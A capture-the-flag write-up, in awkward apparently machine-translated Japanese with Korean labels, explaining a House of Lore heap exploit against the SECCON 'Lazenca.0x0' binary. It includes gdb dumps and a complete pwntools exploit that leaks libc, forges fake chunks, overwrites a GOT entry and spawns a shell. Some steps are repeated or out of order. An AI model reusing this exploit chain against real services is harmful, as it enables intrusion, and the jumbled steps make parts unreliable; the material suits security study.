purchase.') p.send(num) p.recvuntil('Please enter a comment for candy.') p.send(comment) bin = ELF('./Lazenca.0x0') p = remote('n8.pwn.tk.seccon.spica.bz',9999) login('Admin','admin') setOrderlist('1') setOrder('10','TEST') setOrderlist('1') setOrderlist('1') purchase('0','10','AA') setOrderlist('1') getOrderlist() p.recvuntil('Order code : ') p.recvuntil('Order code : ') p.recvuntil('Order code : ') p.recv(1) tmp = p.recv(5) tmp = '\x00' + tmp libcLeak = u64(tmp.ljust(8,'\x00')) libcBase = libcLeak - 0x3c4c00 execve = libcBase + 0xF0274 log.info("Libc leak : " + hex(libcLeak)) log.info("Libc base: " + hex(libcBase)) log.info("execve : " + hex(execve)) p.recvuntil('Command : ') p.send('5')
House of lore(Fake chunk)
- 次のように"gAccount[1]。fd"領域に割り当てられた空間を"dest->candyDescription"領域に再度割り当てられなければなりません。
- 同一の領域を割り当てられため、あらかじめHeap構造を設計しなければなりません。
- Order listの0番目のキャンディキャンセル
- キャンディ注文を完了
- 2つの新しいアカウントを生成します。
- 同一の領域を割り当てられため、あらかじめHeap構造を設計しなければなりません。
Address | State | Heap size | fd | bk | |
---|---|---|---|---|---|
창고에 저장된 0번 캔디 정보 | 0xa175e0 | A | 0x20 | 0x0 | None |
Order list[2] | 0xa17600 | F | 0x20 | None | None |
창고에 저장된 0번 캔디 설명 | 0xa17620 | A | 0x90 | 0xa17600 | None |
Order list[1] | 0xa176b0 | F | 0x20 | None | None |
구매한 캔디 평가 | 0xa176d0 | A | 0x4c0 | None | None |
gAccount[1].fd | 0xA17B90 | A | 0x90 | None | None |
gAccount[2].fd | 0xA17c20 | A | 0x90 | None | None |
- 次のようにHouse of loreに必要なFake chunkを生成することができます。
- 生成したアカウントを利用して次のように充電が必要です。
- 2番目のアカウント:6308456(0x604268)
- 3番目のアカウント:6308416(0x604240)
- 2番目のアカウントを削除します。
- 生成したアカウントを利用して次のように充電が必要です。
- 次のようなgAccount[]構造を持つようになります。
gdb-peda$ x/8gx 0x604240 0x604240: 0x0000000000000000 0x0000000000000002 0x604250: 0x0000000001a08b90 0x0000000000604268 0x604260: 0x0000000000000003 0x0000000000000003 0x604270: 0x0000000001a08c30 0x0000000000604240 gdb-peda$
0x604240 | gAccount[1].state | gAccount[1].number |
---|---|---|
0x604250 | gAccount[1].fd = 0xA17B90 | gAccount[1].bk = 0x604268 |
0x604260 | gAccount[2].state | gAccount[2].number |
0x604270 | gAccount[2].fd | gAccount[2].bk = 0x604240 |
- 次のようなHeap構造を持つようになります。
gdb-peda$ parseheap addr prev size status fd bk 0xa17000 0x0 0x90 Used None None 0xa17090 0x0 0x410 Used None None 0xa174a0 0x0 0x20 Used None None 0xa174c0 0x0 0x20 Used None None 0xa174e0 0x0 0x20 Used None None 0xa17500 0x0 0x20 Used None None 0xa17520 0x0 0x20 Used None None 0xa17540 0x0 0x20 Used None None 0xa17560 0x0 0x20 Used None None 0xa17580 0x0 0x20 Used None None 0xa175a0 0x0 0x20 Used None None 0xa175c0 0x0 0x20 Used None None 0xa175e0 0x0 0x20 Used None None 0xa17600 0xa17630 0x20 Freed 0x0 None 0xa17620 0x100006567 0x90 Used None None 0xa176b0 0x90 0x20 Freed 0xa17600 None 0xa176d0 0x100006567 0x4c0 Used None None 0xa17b90 0x0 0x90 Freed 0x7ff5052a2b78 0x7ff5052a2b78 0xa17c20 0x90 0x90 Used None None gdb-peda$
Address | State | Heap size | fd | bk | |
---|---|---|---|---|---|
창고에 저장된 0번 캔디 정보 | 0xa175e0 | A | 0x20 | None | None |
Order list[2] | 0xa17600 | F | 0x20 | 0x0 | None |
창고에 저장된 0번 캔디 설명 | 0xa17620 | A | 0x90 | None | None |
Order list[1] | 0xa176b0 | F | 0x20 | 0xa17600 | None |
구매한 캔디 평가 | 0xa176d0 | A | 0x4c0 | None | None |
gAccount[1].fd(Unsortbin) | 0xA17B90 | F | 0x90 | 0x7ff5052a2b78 | 0x7ff5052a2b78 |
gAccount[2].fd | 0xA17c20 | A | 0x90 | None | None |
House of lore(Overwrite Smallbin bk)
- まず攻撃者はbkの領域を覆って書くために次のように"gAccount[1]。fd→state"の値を操作しなければなりません。
- 攻撃者は次のようにUAF脆弱性を使用することができます。
- Order listに新しいケンディウル追加して、注文を完了します。
- この時"dest→candyDescription"領域に"gAccount[1]。fd+0x10"領域の住所が保存されます。
- 該当領域に16以上の文字を保存します。
- この時"dest→candyDescription"領域に"gAccount[1]。fd+0x10"領域の住所が保存されます。
- 次のように"gAccount[1]。fd→state"値を変更されます。
- Order listに新しいケンディウル追加して、注文を完了します。
gdb-peda$ x/6gx 0x0000000002593b90 0xA17B90: 0x0000000000000000 0x0000000000000091 0xa17ba0: 0x4141414141414141 0x4141414141414141 0xa17bb0: 0x4141414141414141 0x0000000000000000 gdb-peda$
Address | State | Heap size | fd | bk | |
---|---|---|---|---|---|
창고에 저장된 0번 캔디 정보 | 0xa175e0 | A | 0x20 | None | None |
Order list[0] | 0xa17600 | A | 0x20 | None | None |
창고에 저장된 0번 캔디 설명 | 0xa17620 | A | 0x90 | None | None |
창고에 저장된 1번 캔디 정보 | 0xa176b0 | F | 0x20 | 0x0 | None |
구매한 캔디 평가 | 0xa176d0 | A | 0x4c0 | None | None |
창고에 저장된 1번 캔디 설명 | 0xA17B90 | A | 0x90 | None | None |
gAccount[2].fd | 0xA17c20 | A | 0x90 | None | None |
- 次のように1度ケンディウル購入して0xA17B90領域がSmallbinに登録されるようにします。
- 0xA17B90領域がSmallbin[16]、[17]に登録されました。
gdb-peda$ parseheap addr prev size status fd bk 0xa17000 0x0 0x90 Used None None 0xa17090 0x0 0x410 Used None None 0xa174a0 0x0 0x20 Used None None 0xa174c0 0x0 0x20 Used None None 0xa174e0 0x0 0x20 Used None None 0xa17500 0x0 0x20 Used None None 0xa17520 0x0 0x20 Used None None 0xa17540 0x0 0x20 Used None None 0xa17560 0x0 0x20 Used None None 0xa17580 0x0 0x20 Used None None 0xa175a0 0x0 0x20 Used None None 0xa175c0 0x0 0x20 Used None None 0xa175e0 0x0 0x20 Used None None 0xa17600 0xa17630 0x20 Freed 0x7ff5052a2b88 0xa176b0 0xa17620 0x100006567 0x90 Used None None 0xa176b0 0x90 0x20 Freed 0xa17600 0x7ff5052a2b88 0xa176d0 0x100006567 0x4c0 Used None None 0xa17b90 0x0 0x90 Freed 0x7ff5052a2bf8 0x7ff5052a2bf8 0xa17c20 0x90 0x90 Used None None 0xa17cb0 0x90 0x4c0 Used None None gdb-peda$ p main_arena.bins[16] $1 = (mchunkptr) 0xa17b90 gdb-peda$ p main_arena.bins[17] $2 = (mchunkptr) 0xa17b90 gdb-peda$
Address | State | Heap size | fd | bk | |
---|---|---|---|---|---|
창고에 저장된 0번 캔디 정보 | 0xa175e0 | A | 0x20 | None | None |
Order list[0] | 0xa17600 | A | 0x20 | 0x7ff5052a2b88 | 0xa176b0 |
창고에 저장된 0번 캔디 설명 | 0xa17620 | A | 0x90 | None | None |
창고에 저장된 1번 캔디 정보 | 0xa176b0 | F | 0x20 | 0xa176b0 | 0x7ff5052a2b88 |
구매한 캔디 평가 | 0xa176d0 | A | 0x4c0 | None | None |
창고에 저장된 1번 캔디 설명 | 0xA17B90 | A | 0x90 | 0x7ff5052a2bf8 | 0x7ff5052a2bf8 |
gAccount[2].fd | 0xA17c20 | A | 0x90 | None | None |
구매한 캔디 평가 | 0xa17cb0 | A | 0x4c0 | None | None |
- 次のように2度アカウントのパスワードの変更を通じて、bk領域の値を引き続き変更できます。
- bkの領域に最初のFake chunkの開始アドレスを保存しました。
gdb-peda$ x/6gx 0x9d4b90 0xA17B90: 0x0000000000000000 0x0000000000000091 0xa17ba0: 0x00007f91951a6bf8 0x0000000000604240 0xa17bb0: 0x4141414141414141 0x0000000000000000 gdb-peda$
- 次のような方法でmain_arena.bins[17]領域にgAccount[1]のアドレス値を保存することができます。
- 攻撃者はOrder listにケンディウル追加して、注文を完了します。
gdb-peda$ p main_arena.bins[16] $3 = (mchunkptr) 0xA17B90 gdb-peda$ p main_arena.bins[17] $4 = (mchunkptr) 0x604240 gdb-peda$
- 次のようにgAccount[]領域を割り当てられます。
- 少し前に追加したケンディウルいずれも購買します。
- 攻撃者はOrder listにケンディウル追加して、注文を完了します。
- この時キャンデー説明を入力される領域にgAccount[1]。fd領域が割り当てられます。
- 次のような方法で希望する領域の値を変更できます。
- gAccount[1]。fd="接近を希望する領域の住所"-0x18
- 2番目のアカウントのパスワード変更を使用して"アプローチを希望する領域"にユーザ入力値を保存することができます。
Breakpoint 1, 0x000000000040123a in ?? () gdb-peda$ ni 0x000000000040123f in ?? () gdb-peda$ i r rax rax 0x604250 0x604250 gdb-peda$ x/4gx 0x604250 0x604250: 0x00007f070160bbf8 0x0000000000604268 0x604260: 0x0000000000000003 0x0000000000000003 Breakpoint 2, 0x000000000040125f in ?? () gdb-peda$ x/4gx 0x604250 0x604250: 0x0a41414141414141 0x0000000000604268 0x604260: 0x0000000000000003 0x0000000000000003 gdb-peda$
One Gadget
- 次のようなOne Gadgetを使用することができます。
- 該当Gadgetをfflush.got領域に上書きば、Shellを獲得することができます。
.text:00000000000F0274 mov rax, cs:environ_ptr_0 .text:00000000000F027B lea rsi, [rsp+1B8h+var_168] .text:00000000000F0280 lea rdi, aBinSh ; "/bin/sh" .text:00000000000F0287 mov rdx, [rax] .text:00000000000F028A call execve
Exploit Code
from pwn import * #context.log_level = 'debug' gAccount1bk = 0x604240 gAccount2fd = 0x604268 def fill(addr): tmp = int(addr) log.info('Original address(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp)) tmp -= 10000 log.info('Address - 10000(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp)) tmp = str(tmp) for i in range(5): for j in range(int(tmp[6-i])): charge(str(i)) for i in range(int(tmp[0:2])): charge('5') def setAccount(id): p.recvuntil('Enter your ID.') p.send('a') p.recvuntil('Enter your Password.') p.send('a') p.recvuntil('Create an account?') p.send('0') p.recvuntil('Enter your New ID.') p.send(id) p.recvuntil('Enter your New Password.') p.send(id) p.recvuntil('Enter your profile.') p.send('TEST') def login(id,pw): p.recvuntil('Enter your ID.') p.send(id) p.recvuntil('Enter your Password.') p.send(pw) def logout(): p.recvuntil('Command : ') p.send('9') p.recvuntil('1) No') p.send('0') def delAccount(num): p.recvuntil('Command : ') p.send('5') p.recvuntil('Command : ') p.send('1') p.recvuntil('Please enter the number of the account you want to delete') p.send(num) p.recvuntil('Command : ') p.send('3') def pwChange(num,pw): p.recvuntil('Command : ') p.send('5') p.recvuntil('Command : ') p.send('2') p.recvuntil('Please enter the number of the account you want to change PW') p.send(num) p.recvuntil('Enter your New Password.') p.send(pw) p.recvuntil('Command : ') p.send('3') def charge(num): p.recvuntil('Command : ') p.send('3') p.recvuntil('5) 100000') p.send(num) def setOrderlist(num): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('2') p.recvuntil('Please pick up the candies to order.') p.send(num) p.recvuntil('Command : ') p.send('5') def delOrderlist(): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('3') p.recvuntil('Candy code: ') p.send('0') p.recvuntil('Command : ') p.send('5') def getOrderlist(): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('1') def setOrder(price,desc): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('4') p.recvuntil('0) Yes, 1) No') p.send('0') p.recvuntil('Enter the price of ') p.sendline(price) p.recvuntil('Enter a description of the') p.send(desc) p.recvuntil('Command : ') p.send('5') def purchase(code,num,comment): p.recvuntil('Command : ') p.send('2') p.recvuntil('Please enter the code number of the candy to be purchased.') p.send(code) p.recvuntil('Please enter the number of the candy to purchase.') p.send(num) p.recvuntil('Please enter a comment for candy.') p.send(comment) bin = ELF('./Lazenca.0x0') p = remote('n8.pwn.tk.seccon.spica.bz',9999) signal = bin.got['signal'] login('Admin','admin') setOrderlist('1') setOrder('10','TEST') setOrderlist('1') setOrderlist('1') purchase('0','10','AA') setOrderlist('1') getOrderlist() p.recvuntil('Order code : ') p.recvuntil('Order code : ') p.recvuntil('Order code : ') p.recv(1) tmp = p.recv(5) tmp = '\x00' + tmp libcLeak = u64(tmp.ljust(8,'\x00')) libcBase = libcLeak - 0x3c4c00 execve = libcBase + 0xF0274 log.info("Libc leak : " + hex(libcLeak)) log.info("Libc base: " + hex(libcBase)) log.info("execve : " + hex(execve)) p.recvuntil('Command : ') p.send('5') #Design heap delOrderlist() setOrder('20','BB') logout() #Create account 1 setAccount('asdf') login('asdf','asdf') fill(gAccount2fd) logout() #Create account 2 setAccount('qwer') login('qwer','qwer') fill(gAccount1bk) logout() #Set gAccount[1].fd->state login('Admin','admin') delAccount('2') setOrderlist('0') setOrder('1','A'*24) #register bins[16,17] purchase('1','10','AA') #Overwrite Smallbin bk pwChange('2',p64(gAccount1bk)) setOrderlist('3') setOrder('1','A'*24) purchase('1','10','AA') #Overwrite gAccount[1].fd setOrderlist('2') setOrder('1',p64(signal)) #Overwrite fflush.got p.recvuntil('Command : ') p.send('5') p.recvuntil('Command : ') p.send('2') p.recvuntil('Please enter the number of the account you want to change PW') p.send('2') p.recvuntil('Enter your New Password.') p.send(p64(execve)) #Get shell p.interactive()
Flag
Flag | SECCON{Y0u h4ve 4cquired the "H0use 0f L0re" techn0l0gy. by Lazenca.0x0} |
---|